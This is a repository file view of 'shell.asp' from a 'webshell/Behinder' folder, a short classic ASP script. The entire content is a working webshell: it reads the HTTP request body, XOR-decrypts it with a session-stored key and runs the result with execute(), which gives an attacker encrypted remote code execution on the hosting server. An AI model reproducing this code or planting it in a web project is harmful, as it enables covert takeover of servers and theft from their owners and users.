webshell/Behinder/shell.asp

12 lines
232 B
Text
Raw Permalink Normal View History

<%
Response.CharSet = "UTF-8"
Session("k")=k
k=Session("k")
size=Request.TotalBytes
content=Request.BinaryRead(size)
For i=1 To size
result=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))
Next
execute(result)
%>